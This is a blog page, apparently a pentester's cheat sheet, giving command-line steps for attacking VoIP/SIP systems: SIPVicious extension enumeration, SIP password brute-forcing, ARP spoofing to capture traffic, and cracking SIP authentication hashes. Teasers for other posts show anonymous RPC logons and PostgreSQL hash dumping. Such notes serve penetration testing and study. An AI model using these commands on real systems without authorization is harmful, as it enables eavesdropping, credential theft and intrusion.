Skip to main content

VOIP - SIP

 


VOIP Protocols

- H.323 - Can Initiate, authenticate, end a request. 
- Session Initiation Protocol (SIP) - ASCII protocol - reqeuest/response. 
-  Real-Time Transport Protocol (RTP) - After connecting via VOIP, RTP is used
- Secure Real time Transport Protocol (SRTP)
#Nmap 
nmap -O -P0 10.10.10.0/23

#Ports
UDP/TCP - 5060 & 5061 

#Cisco SCCP Enabled ports
UDP/TCP - 2000-2001

#UDP or TCP - VXWORKS remote debugging
Port 17185 
# cisco-audit-tool
CAT -h ip -p 2000 -w /usr/share/wordlists/rockyou.txt 

# cisco-smart-install
https://github.com/Sab0tag3d/SIET/
sudo python siet.py -g -i 192.168.0.1
Enumeration

SIP - 'User Agent' & 'Server'
SIP phone Extensions (usernames)
TFTP Config files
SNMP Config


Using Netcat
nc 10.10.10.10 5060
> OPTIONS sip:test@10.10.10.10 SIP/2.0

SNMP 
snmpwalk -c public -v 10.10.10.10 1.3.6.1.4.1.6889
SIPVicious Github

python3 setup.py install

#Scan a set of IP's concurrenrly
for ip in $(cat $1); do sipvicious_svmap  -p5060-5200 $ip & done

sipvicious_svmap 10.10.10.10 -p5060-5200
sipvicious_svmap 10.10.10.10 -p5060-5200 -m INVITE
sipvicious_svwar udp://10.10.10.10:5070 -e100-500
#Enum 
sipvicious_svmap 192.168.1.1-254
sipvicious_svmap 192.168.1.1-254 --fp

#Extension Enum
svwar.py -e100-400 192.168.1.104
svwar.py -e100-400 192.168.1.104 -m INVITE -v

#svmap, send SIP OPTIONS
svmap -p5060,5061,5080-5090 10.0.0.1

#svcrack
svcrack -u100 -d dictionary.txt 10.0.0.1
#Capture the SIP Traffic
#arpspoof, sipdump & Sipcrack are inbuilt in kali 

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof –t victim gateway
arpspoof –t gateway victim

Wireshark > not broadcast and not multicast and host <IP ADDRESS>


#Capturing SIP Authentication using SIPDump
sipdump -i eth0
sipdump -i eth0 auth.txt
sipdump -p /root/registration.pcap auth.txt

#cracking response hahses
sipcrack -w sipass.txt auth.txt

#Bruteforcing SIP accounts using svcrack from SIPVIcious
svcrack.py -u200 -d wordlist.txt 192.168.1.104
svcrack.py -u200 -r100000-999999 192.168.1.104
#Enum using Metasploit 

#Scan for SIP Devices
use auxiliary/scanner/sip/options

#Enum SIP extensions/Usernames
use scanner/sip/enumerator
set RHOSTS 10.10.10.10
set MINEXT 100
set MAXEXT 500
set PADLEN 3


#Spoofing
use voip/sip_invite_spoof
Labels:

Comments

Post a Comment

Popular posts from this blog

MSRPC (Microsoft Remote Procedure Call) Pentesting - Port 135

  It is also known as a function call or a subroutine call. Default ports are 135, 593. Enumeration nmap --script msrpc-enum -p 135 <target-ip> RPC Endpoints To enumerate RPC endpoints, use impacket-rpcdump. impacket-rpcdump -port 135 <target-ip> | grep -E 'MS-EFSRPC|MS-RPRN|MS-PAR' MS-EFSRPC: It might be vulnerable to PetitPotam. MS-RPRN, MS-PAR: It might be vulnerable to PrintNightmare. Metasploit msfconsole msf> use auxiliary/scanner/dcerpc/endpoint_mapper msf> use auxiliary/scanner/dcerpc/hidden msf> use auxiliary/scanner/dcerpc/management msf> use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor Connect # Anonymous logon rpcclient -N -U "" <target-ip> rpcclient -N -U "" -p 593 <target-ip> rpcclient -N -U "" dc.example.local # Specify username # -W: Workgroup # -N: No password rpcclient -U username <target-ip> rpcclient -W WORKGROUP -U username <target-ip> rpcclient -U username -N <target-ip...
Post a Comment
Read more

Thread Modelling Cheatsheet: Know Your Weaknesses Before Attackers Do!

Threat Modelling Part - 1 What is Threat Modelling?      Threat modelling is the process of identifying, assessing, and mitigating potential security threats before they happen. It helps teams anticipate how systems can be attacked and build defences proactively , not reactively. Key Concepts Threat: Something (like a hacker or malware) that could exploit a weakness. Vulnerability: A flaw in your system that can be exploited. Risk: The chance that a threat will exploit a vulnerability to cause damage. Analogy : Threat = Burglar Vulnerability = Unlocked door Risk = Getting robbed because the door is open in a bad neighborhood  Threat Modelling Process (High-Level) Define the Scope – What systems/apps are you evaluating? Identify Assets – What needs protection? (e.g. data, services) Identify Threats – Think like an attacker. What could go wrong? Analyze Vulnerabilities – What weaknesses exist? Prioritize Ri...
Post a Comment
Read more

PostgreSQL - Port 5432

  PostgreSQL, also known as Postgres, is a powerful open-source object-relational database system. It has earned a strong reputation for its proven architecture, reliability, data integrity, robust feature set, and extensibility. Identify PostgreSQL nmap -sV -p 5432 <target-host> nmap Scanning nmap -sC -sV --script vuln,vulners --script-args mincvss=7.0 -p5432,5433 -Pn 10.10.10.10 #make sure to check for vulnerable versions nmap -sV -p 5432 <target-host> Exploiting Known Vulnerabilities searchsploit postgresql <version> Enumerating Databases and Tables List all databases \l Switch to a database \c <database_name> List tables in the current database: \dt Extract data from a specific table: SELECT * FROM <table_name>; Dumping Hashes SELECT usename, passwd FROM pg_shadow; Accessing File System COPY (SELECT * FROM sensitive_table) TO '/tmp/sensitive_data.txt'; Bruteforcing Postgres Creds #Using Metasploit use auxiliary/scanner/postgr...
Post a Comment
Read more